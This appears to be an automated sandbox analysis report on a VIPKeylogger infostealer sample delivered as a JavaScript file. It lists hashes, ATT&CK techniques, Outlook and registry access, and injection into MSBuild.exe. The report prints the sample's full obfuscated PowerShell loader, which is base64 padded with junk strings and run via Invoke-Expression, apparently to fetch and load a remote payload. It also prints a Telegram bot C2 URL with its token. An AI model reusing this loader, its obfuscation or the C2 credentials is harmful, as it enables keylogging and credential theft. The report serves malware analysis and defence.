vipkeylogger | 722e39454b7888720bd6c315e680f48b0d31e4c0decdd4aca604344ce89bcdb1

General

Target

NEWContractPI.js
Size

1.3MB
MD5

410a3c00c23b4af500311ae954d7fae5
SHA1

44b996b2040ddc20f1cf07c7e070514f856b02c9
SHA256

c3aa4900a10fcf72db0cce3754e4cb44617229442f01ed0caf18c159ceea7e57
SHA512

589b6805ca596f85c3cf5ef2365996ae9102ad8460cfd9fc6068df8284e1044002cbf8aa27e327d850f33472f951089d4e8ce43bd5acb0c3a6ff6f31ad9341ce
SSDEEP

192:To1o1o1o1o1o1o1o1o1o1go1o1o1o1o1o1o1o1o1o1go1o1o1o1o1o1o1o1o1o1L:VplQBOr

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot8047024230:AAEOgyfPgNxsX6e5QUEWyOZOAYOzCPtuimk/sendMessage?chat_id=769249322

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4808	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Control Panel\International\Geo\Nation	wscript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4808	powershell.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	checkip.dyndns.org
30	reallyfreegeoip.org
31	reallyfreegeoip.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4808 set thread context of 3780	4808	powershell.exe	96

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4808	powershell.exe
4808	powershell.exe
3780	MSBuild.exe
3780	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	3780	MSBuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 4808	2764	wscript.exe	89
PID 2764 wrote to memory of 4808	2764	wscript.exe	89
PID 4808 wrote to memory of 3780	4808	powershell.exe	96
PID 4808 wrote to memory of 3780	4808	powershell.exe	96
PID 4808 wrote to memory of 3780	4808	powershell.exe	96
PID 4808 wrote to memory of 3780	4808	powershell.exe	96
PID 4808 wrote to memory of 3780	4808	powershell.exe	96
PID 4808 wrote to memory of 3780	4808	powershell.exe	96
PID 4808 wrote to memory of 3780	4808	powershell.exe	96
PID 4808 wrote to memory of 3780	4808	powershell.exe	96

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\NEWContractPI.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command ""$Codigo = 'JhypoariaBvhypoariaGIhypoariabwBlhypoariaGwhypoariaaQBrhypoariaGUhypoariaIhypoariahypoaria9hypoariaChypoariahypoariaJwhypoariajhypoariaHghypoariaIwhypoariauhypoariaGUhypoariabhypoariaBphypoariaEYhypoariaZhypoariaBlhypoariaCMhypoariacgBlhypoariaHYhypoariabgBvhypoariaEMhypoariaLwBthypoariaG8hypoariaYwhypoariauhypoariaHMhypoariaIwBuhypoariaGUhypoariabQhypoariajhypoariaGkhypoariadQByhypoariaGMhypoariaZQByhypoariaCMhypoariabgBlhypoariaGwhypoariaYQhypoariajhypoariaC8hypoariaLwhypoaria6hypoariaHMhypoariachypoariahypoariajhypoariaCMhypoariaahypoariahypoarianhypoariaDshypoariaJhypoariaBihypoariaGUhypoariabgBkhypoariaHMhypoariabwBthypoariaGUhypoariaIhypoariahypoaria9hypoariaChypoariahypoariaJhypoariaBvhypoariaGIhypoariabwBlhypoariaGwhypoariaaQBrhypoariaGUhypoariaIhypoariahypoariathypoariaHIhypoariaZQBwhypoariaGwhypoariaYQBjhypoariaGUhypoariaIhypoariahypoarianhypoariaCMhypoariaJwhypoariashypoariaChypoariahypoariaJwB0hypoariaCchypoariaOwhypoariakhypoariaG0hypoariaYQBshypoariaGwhypoariabwBwhypoariaGwhypoariaYQBjhypoariaGUhypoariabgB0hypoariaGEhypoariaIhypoariahypoaria9hypoariaChypoariahypoariaJwBohypoariaHQhypoariadhypoariaBwhypoariaHMhypoariaOghypoariavhypoariaC8hypoariadhypoariaBhhypoariaGwhypoariaZQBuhypoariaHQhypoariacgBlhypoariaGMhypoariacgB1hypoariaGkhypoariadhypoariaBthypoariaGUhypoariabgB0hypoariaHMhypoariaLgBjhypoariaG8hypoariabQhypoariavhypoariaG4hypoariaZQB3hypoariaF8hypoariaaQBthypoariaGEhypoariaZwBlhypoariaC4hypoariaagBwhypoariaGchypoariaJwhypoaria7hypoariaCQhypoariadhypoariaB1hypoariaGchypoariadhypoariaB1hypoariaHhypoariahypoariaaQB0hypoariaGUhypoariaIhypoariahypoaria9hypoariaChypoariahypoariaTgBlhypoariaHchypoariaLQBPhypoariaGIhypoariaagBlhypoariaGMhypoariadhypoariahypoariaghypoariaFMhypoariaeQBzhypoariaHQhypoariaZQBthypoariaC4hypoariaTgBlhypoariaHQhypoariaLgBXhypoariaGUhypoariaYgBDhypoariaGwhypoariaaQBlhypoariaG4hypoariadhypoariahypoaria7hypoariaCQhypoariadwBphypoariaG4hypoariaZhypoariaBthypoariaGkhypoariabhypoariaBshypoariaGUhypoariaZhypoariahypoariaghypoariaD0hypoariaIhypoariahypoariakhypoariaHQhypoariadQBnhypoariaHQhypoariadQBwhypoariaGkhypoariadhypoariaBlhypoariaC4hypoariaRhypoariaBvhypoariaHchypoariabgBshypoariaG8hypoariaYQBkhypoariaEQhypoariaYQB0hypoariaGEhypoariaKhypoariahypoariakhypoariaG0hypoariaYQBshypoariaGwhypoariabwBwhypoariaGwhypoariaYQBjhypoariaGUhypoariabgB0hypoariaGEhypoariaKQhypoaria7hypoariaCQhypoariaZhypoariaB1hypoariaGMhypoariaawBphypoariaG4hypoariaZwhypoariaghypoariaD0hypoariaIhypoariaBbhypoariaFMhypoariaeQBzhypoariaHQhypoariaZQBthypoariaC4hypoariaVhypoariaBlhypoariaHghypoariadhypoariahypoariauhypoariaEUhypoariabgBjhypoariaG8hypoariaZhypoariaBphypoariaG4hypoariaZwBdhypoariaDohypoariaOgBVhypoariaFQhypoariaRghypoaria4hypoariaC4hypoariaRwBlhypoariaHQhypoariaUwB0hypoariaHIhypoariaaQBuhypoariaGchypoariaKhypoariahypoariakhypoariaHchypoariaaQBuhypoariaGQhypoariabQBphypoariaGwhypoariabhypoariaBlhypoariaGQhypoariaKQhypoaria7hypoariaCQhypoariaYwBvhypoariaG8hypoariabhypoariaBphypoariaG0hypoariaYQBuhypoariaChypoariahypoariaPQhypoariaghypoariaCchypoariaPhypoariahypoaria8hypoariaEIhypoariaQQBThypoariaEUhypoariaNghypoaria0hypoariaF8hypoariaUwBUhypoariaEEhypoariaUgBUhypoariaD4hypoariaPghypoarianhypoariaDshypoariaJhypoariaBhhypoariaHYhypoariaYQB1hypoariaG4hypoariadhypoariaBvhypoariaHUhypoariacghypoariaghypoariaD0hypoariaIhypoariahypoarianhypoariaDwhypoariaPhypoariaBChypoariaEEhypoariaUwBFhypoariaDYhypoariaNhypoariaBfhypoariaEUhypoariaTgBEhypoariaD4hypoariaPghypoarianhypoariaDshypoariaJhypoariaBnhypoariaGUhypoariabgB0hypoariaHMhypoariaIhypoariahypoaria9hypoariaChypoariahypoariaJhypoariaBkhypoariaHUhypoariaYwBrhypoariaGkhypoariabgBnhypoariaC4hypoariaSQBuhypoariaGQhypoariaZQB4hypoariaE8hypoariaZghypoariaohypoariaCQhypoariaYwBvhypoariaG8hypoariabhypoariaBphypoariaG0hypoariaYQBuhypoariaCkhypoariaOwhypoariakhypoariaGQhypoariaYQBzhypoariaGUhypoariadwBlhypoariaChypoariahypoariaPQhypoariaghypoariaCQhypoariaZhypoariaB1hypoariaGMhypoariaawBphypoariaG4hypoariaZwhypoariauhypoariaEkhypoariabgBkhypoariaGUhypoariaehypoariaBPhypoariaGYhypoariaKhypoariahypoariakhypoariaGEhypoariadgBhhypoariaHUhypoariabgB0hypoariaG8hypoariadQByhypoariaCkhypoariaOwhypoariakhypoariaGchypoariaZQBuhypoariaHQhypoariacwhypoariaghypoariaC0hypoariaZwBlhypoariaChypoariahypoariaMhypoariahypoariaghypoariaC0hypoariaYQBuhypoariaGQhypoariaIhypoariahypoariakhypoariaGQhypoariaYQBzhypoariaGUhypoariadwBlhypoariaChypoariahypoariaLQBnhypoariaHQhypoariaIhypoariahypoariakhypoariaGchypoariaZQBuhypoariaHQhypoariacwhypoaria7hypoariaCQhypoariaZwBlhypoariaG4hypoariadhypoariaBzhypoariaChypoariahypoariaKwhypoaria9hypoariaChypoariahypoariaJhypoariaBjhypoariaG8hypoariabwBshypoariaGkhypoariabQBhhypoariaG4hypoariaLgBMhypoariaGUhypoariabgBnhypoariaHQhypoariaahypoariahypoaria7hypoariaCQhypoariaQQBthypoariaGIhypoariaaQBlhypoariaG4hypoariaIhypoariahypoaria9hypoariaChypoariahypoariaJhypoariaBkhypoariaGEhypoariacwBlhypoariaHchypoariaZQhypoariaghypoariaC0hypoariaIhypoariahypoariakhypoariaGchypoariaZQBuhypoariaHQhypoariacwhypoaria7hypoariaCQhypoariabwBwhypoariaG8hypoariadhypoariaBohypoariaGUhypoariacgBhhypoariaHhypoariahypoariaeQhypoariaghypoariaD0hypoariaIhypoariahypoariakhypoariaGQhypoariadQBjhypoariaGshypoariaaQBuhypoariaGchypoariaLgBThypoariaHUhypoariaYgBzhypoariaHQhypoariacgBphypoariaG4hypoariaZwhypoariaohypoariaCQhypoariaZwBlhypoariaG4hypoariadhypoariaBzhypoariaCwhypoariaIhypoariahypoariakhypoariaEEhypoariabQBihypoariaGkhypoariaZQBuhypoariaCkhypoariaOwhypoariakhypoariaHhypoariahypoariaZQB0hypoariaHIhypoariabwBshypoariaGkhypoariaYwhypoariaghypoariaD0hypoariaIhypoariaBbhypoariaFMhypoariaeQBzhypoariaHQhypoariaZQBthypoariaC4hypoariaQwBvhypoariaG4hypoariadgBlhypoariaHIhypoariadhypoariaBdhypoariaDohypoariaOgBGhypoariaHIhypoariabwBthypoariaEIhypoariaYQBzhypoariaGUhypoariaNghypoaria0hypoariaFMhypoariadhypoariaByhypoariaGkhypoariabgBnhypoariaCghypoariaJhypoariaBvhypoariaHhypoariahypoariabwB0hypoariaGghypoariaZQByhypoariaGEhypoariachypoariaB5hypoariaCkhypoariaOwhypoariakhypoariaGYhypoariaZQByhypoariaHIhypoariabwBhhypoariaG4hypoariaIhypoariahypoaria9hypoariaChypoariahypoariaWwBThypoariaHkhypoariacwB0hypoariaGUhypoariabQhypoariauhypoariaFIhypoariaZQBmhypoariaGwhypoariaZQBjhypoariaHQhypoariaaQBvhypoariaG4hypoariaLgBBhypoariaHMhypoariacwBlhypoariaG0hypoariaYgBshypoariaHkhypoariaXQhypoaria6hypoariaDohypoariaThypoariaBvhypoariaGEhypoariaZhypoariahypoariaohypoariaCQhypoariachypoariaBlhypoariaHQhypoariacgBvhypoariaGwhypoariaaQBjhypoariaCkhypoariaOwhypoariakhypoariaHUhypoariabgBlhypoariaG4hypoariadgBphypoariaGUhypoariaZhypoariahypoariaghypoariaD0hypoariaIhypoariaBbhypoariaGQhypoariabgBshypoariaGkhypoariaYghypoariauhypoariaEkhypoariaTwhypoariauhypoariaEghypoariabwBthypoariaGUhypoariaXQhypoariauhypoariaEchypoariaZQB0hypoariaE0hypoariaZQB0hypoariaGghypoariabwBkhypoariaCghypoariaJwBWhypoariaEEhypoariaSQhypoarianhypoariaCkhypoariaLgBJhypoariaG4hypoariadgBvhypoariaGshypoariaZQhypoariaohypoariaCQhypoariabgB1hypoariaGwhypoariabhypoariahypoariashypoariaChypoariahypoariaWwBvhypoariaGIhypoariaagBlhypoariaGMhypoariadhypoariaBbhypoariaF0hypoariaXQhypoariaghypoariaEhypoariahypoariaKhypoariahypoariakhypoariaGIhypoariaZQBuhypoariaGQhypoariacwBvhypoariaG0hypoariaZQhypoariashypoariaCchypoariaJwhypoariashypoariaCchypoariaJwhypoariashypoariaCchypoariaJwhypoariashypoariaCchypoariaTQBThypoariaEIhypoariadQBphypoariaGwhypoariaZhypoariahypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoarianhypoariaCwhypoariaJwhypoariayhypoariaCchypoariaKQhypoariaphypoariahypoaria=='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('hypoaria','A'))); Invoke-Expression $OWjuxd""
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ntk1tzwh.5bu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3780-19-0x0000000005FB0000-0x0000000006554000-memory.dmp

Filesize
5.6MB

Download
memory/3780-25-0x0000000007160000-0x000000000716A000-memory.dmp

Filesize
40KB

Download
memory/3780-24-0x00000000071B0000-0x0000000007242000-memory.dmp

Filesize
584KB

Download
memory/3780-23-0x0000000007640000-0x0000000007B6C000-memory.dmp

Filesize
5.2MB

Download
memory/3780-22-0x0000000006CE0000-0x0000000006D30000-memory.dmp

Filesize
320KB

Download
memory/3780-21-0x0000000006E40000-0x0000000007002000-memory.dmp

Filesize
1.8MB

Download
memory/3780-15-0x0000000000400000-0x000000000044A000-memory.dmp

Filesize
296KB

Download
memory/3780-20-0x0000000005A00000-0x0000000005A9C000-memory.dmp

Filesize
624KB

Download
memory/4808-12-0x00007FFEC9A00000-0x00007FFECA4C1000-memory.dmp

Filesize
10.8MB

Download
memory/4808-18-0x00007FFEC9A00000-0x00007FFECA4C1000-memory.dmp

Filesize
10.8MB

Download
memory/4808-14-0x0000025BCEEA0000-0x0000025BCEEAC000-memory.dmp

Filesize
48KB

Download
memory/4808-13-0x0000025BCF210000-0x0000025BCF3CE000-memory.dmp

Filesize
1.7MB

Download
memory/4808-0-0x00007FFEC9A03000-0x00007FFEC9A05000-memory.dmp

Filesize
8KB

Download
memory/4808-11-0x00007FFEC9A00000-0x00007FFECA4C1000-memory.dmp

Filesize
10.8MB

Download
memory/4808-6-0x0000025BCED40000-0x0000025BCED62000-memory.dmp

Filesize
136KB

Download

Analysis

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